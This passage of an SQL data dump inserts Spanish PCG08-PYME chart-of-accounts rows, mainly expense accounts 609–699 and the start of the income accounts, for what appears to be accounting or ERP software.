11:17:49','PCG08-PYME','EXPENSE','609',4493,'Rappels por compras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4507,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6090',4506,'Rappels por compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4508,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6091',4506,'Rappels por compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4509,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6092',4506,'Rappels por compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4510,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','61',4006,'Variación de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4511,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','610',4510,'Variación de existencias de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4512,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','611',4510,'Variación de existencias de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4513,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','612',4510,'Variación de existencias de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4514,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','62',4006,'Servicios exteriores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4515,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','620',4514,'Gastos en investigación y desarrollo del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4516,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','621',4514,'Arrendamientos y cánones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4517,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','622',4514,'Reparaciones y conservación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4518,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','623',4514,'Servicios profesionales independientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4519,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','624',4514,'Transportes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4520,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','625',4514,'Primas de seguros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4521,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','626',4514,'Servicios bancarios y similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4522,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','627',4514,'Publicidad, propaganda y relaciones públicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4523,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','628',4514,'Suministros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4524,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','629',4514,'Otros servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4525,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','63',4006,'Tributos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4526,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','630',4525,'Impuesto sobre benecifios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4527,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6300',4526,'Impuesto corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4528,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6301',4526,'Impuesto diferido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4529,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','631',4525,'Otros tributos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4530,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','633',4525,'Ajustes negativos en la imposición sobre beneficios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4531,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','634',4525,'Ajustes negativos en la imposición indirecta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4532,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6341',4531,'Ajustes negativos en IVA de activo corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4533,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6342',4531,'Ajustes negativos en IVA de inversiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4534,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','636',4525,'Devolución de impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4535,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','638',4525,'Ajustes positivos en la imposición sobre beneficios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4536,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','639',4525,'Ajustes positivos en la imposición directa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4537,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6391',4536,'Ajustes positivos en IVA de activo corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4538,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6392',4536,'Ajustes positivos en IVA de inversiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4539,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','64',4006,'Gastos de personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4540,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','640',4539,'Sueldos y salarios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4541,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','641',4539,'Indemnizaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4542,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','642',4539,'Seguridad social a cargo de la empresa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4543,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','649',4539,'Otros gastos sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4544,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','65',4006,'Otros gastos de gestión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4545,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','650',4544,'Pérdidas de créditos comerciales incobrables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4546,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','651',4544,'Resultados de operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4547,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6510',4546,'Beneficio transferido gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4548,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6511',4546,'Pérdida soportada participe o asociado no gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4549,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','659',4544,'Otras pérdidas en gestión corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4550,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','66',4006,'Gastos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4551,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','660',4550,'Gastos financieros por actualización de provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4552,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','661',4550,'Intereses de obligaciones y bonos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4553,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6610',4452,'Intereses de obligaciones y bonos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4554,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6611',4452,'Intereses de obligaciones y bonos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4555,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6612',4452,'Intereses de obligaciones y bonos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4556,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6613',4452,'Intereses de obligaciones y bonos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4557,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6615',4452,'Intereses de obligaciones y bonos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4558,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6616',4452,'Intereses de obligaciones y bonos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4559,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6617',4452,'Intereses de obligaciones y bonos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4560,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6618',4452,'Intereses de obligaciones y bonos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4561,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','662',4550,'Intereses de deudas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4562,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6620',4561,'Intereses de deudas empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4563,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6621',4561,'Intereses de deudas empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4564,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6622',4561,'Intereses de deudas otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4565,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6623',4561,'Intereses de deudas con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4566,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6624',4561,'Intereses de deudas otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4567,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','663',4550,'Pérdidas por valorización de activos y pasivos financieros por su valor razonable',NULL,0,NULL,NULL,1,0,NULL,NULL),(4568,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','664',4550,'Gastos por dividendos de acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4569,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6640',4568,'Dividendos de pasivos empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4570,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6641',4568,'Dividendos de pasivos empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4571,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6642',4568,'Dividendos de pasivos otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4572,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6643',4568,'Dividendos de pasivos otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4573,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','665',4550,'Intereses por descuento de efectos y operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4574,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6650',4573,'Intereses por descuento de efectos en entidades de crédito del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4575,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6651',4573,'Intereses por descuento de efectos en entidades de crédito asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4576,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6652',4573,'Intereses por descuento de efectos en entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4577,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6653',4573,'Intereses por descuento de efectos en otras entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4578,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6654',4573,'Intereses por operaciones de factoring con entidades de crédito del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4579,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6655',4573,'Intereses por operaciones de factoring con entidades de crédito asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4580,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6656',4573,'Intereses por operaciones de factoring con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4581,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6657',4573,'Intereses por operaciones de factoring con otras entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4582,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','666',4550,'Pérdidas en participaciones y valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4583,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6660',4582,'Pérdidas en valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4584,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6661',4582,'Pérdidas en valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4585,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6662',4582,'Pérdidas en valores representativos de deuda a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4586,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6663',4582,'Pérdidas en participaciones y valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4587,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6665',4582,'Pérdidas en participaciones y valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4588,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6666',4582,'Pérdidas en participaciones y valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4589,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6667',4582,'Pérdidas en valores representativos de deuda a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4590,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6668',4582,'Pérdidas en valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4591,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','667',4550,'Pérdidas de créditos no comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4592,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6670',4591,'Pérdidas de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4593,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6671',4591,'Pérdidas de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4594,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6672',4591,'Pérdidas de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4595,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6673',4591,'Pérdidas de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4596,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6675',4591,'Pérdidas de créditos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4597,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6676',4591,'Pérdidas de créditos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4598,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6677',4591,'Pérdidas de créditos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4599,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6678',4591,'Pérdidas de créditos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4600,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','668',4550,'Diferencias negativas de cambio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4601,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','669',4550,'Otros gastos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4602,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','67',4006,'Pérdidas procedentes de activos no corrientes y gastos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4603,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','670',4602,'Pérdidas procedentes del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4604,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','671',4602,'Pérdidas procedentes del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4605,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','672',4602,'Pérdidas procedentes de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4607,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','673',4602,'Pérdidas procedentes de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4608,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6733',4607,'Pérdidas procedentes de participaciones a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4609,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6734',4607,'Pérdidas procedentes de participaciones a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4610,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6735',4607,'Pérdidas procedentes de participaciones a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4611,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','675',4602,'Pérdidas por operaciones con obligaciones propias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4612,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','678',4602,'Gastos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4613,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','68',4006,'Dotaciones para amortizaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4614,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','680',4613,'Amortización del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4615,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','681',4613,'Amortización del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4616,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','682',4613,'Amortización de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4617,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','69',4006,'Pérdidas por deterioro y otras dotaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4618,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','690',4617,'Pérdidas por deterioro del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4619,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','691',4617,'Pérdidas por deterioro del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4620,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','692',4617,'Pérdidas por deterioro de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4621,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','693',4617,'Pérdidas por deterioro de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4622,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6930',4621,'Pérdidas por deterioro de productos terminados y en curso de fabricación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4623,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6931',4621,'Pérdidas por deterioro de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4624,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6932',4621,'Pérdidas por deterioro de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4625,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6933',4621,'Pérdidas por deterioro de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4626,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','694',4617,'Pérdidas por deterioro de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4627,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','695',4617,'Dotación a la provisión por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4628,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6954',4627,'Dotación a la provisión por contratos onerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4629,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6959',4628,'Dotación a la provisión para otras operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4630,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','696',4617,'Pérdidas por deterioro de participaciones y valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4631,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6960',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4632,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6961',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4633,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6962',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4634,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6963',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4635,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6965',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4636,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6966',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4637,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6967',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4638,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6968',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4639,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','697',4617,'Pérdidas por deterioro de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4640,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6970',4639,'Pérdidas por deterioro de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4641,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6971',4639,'Pérdidas por deterioro de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4642,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6972',4639,'Pérdidas por deterioro de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4643,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6973',4639,'Pérdidas por deterioro de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4644,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','698',4617,'Pérdidas por deterioro de participaciones y valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4645,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6980',4644,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4646,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6981',4644,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4647,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6985',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4648,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6986',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4649,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6988',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo de otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4650,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','699',4617,'Pérdidas por deterioro de crédito a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4651,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6990',4650,'Pérdidas por deterioro de crédito a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4652,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6991',4650,'Pérdidas por deterioro de crédito a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4653,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6992',4650,'Pérdidas por deterioro de crédito a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4654,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6993',4650,'Pérdidas por deterioro de crédito a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4655,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','70',4007,'Ventas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4656,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','700',4655,'Ventas de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4657,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','701',4655,'Ventas de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4658,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','702',4655,'Ventas de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4659,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','703',4655,'Ventas de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4660,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','704',4655,'Ventas de envases y embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4661,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','705',4655,'Prestaciones de servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4662,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','706',4655,'Descuentos sobre ventas por pronto pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4663,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7060',4662,'Descuentos sobre ventas por pronto pago de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4664,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7061',4662,'Descuentos sobre ventas por pronto pago de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4665,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7062',4662,'Descuentos sobre ventas por pronto pago de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4666,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7063',4662,'Descuentos sobre ventas por pronto pago de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4667,1,NULL,'2018-01-19 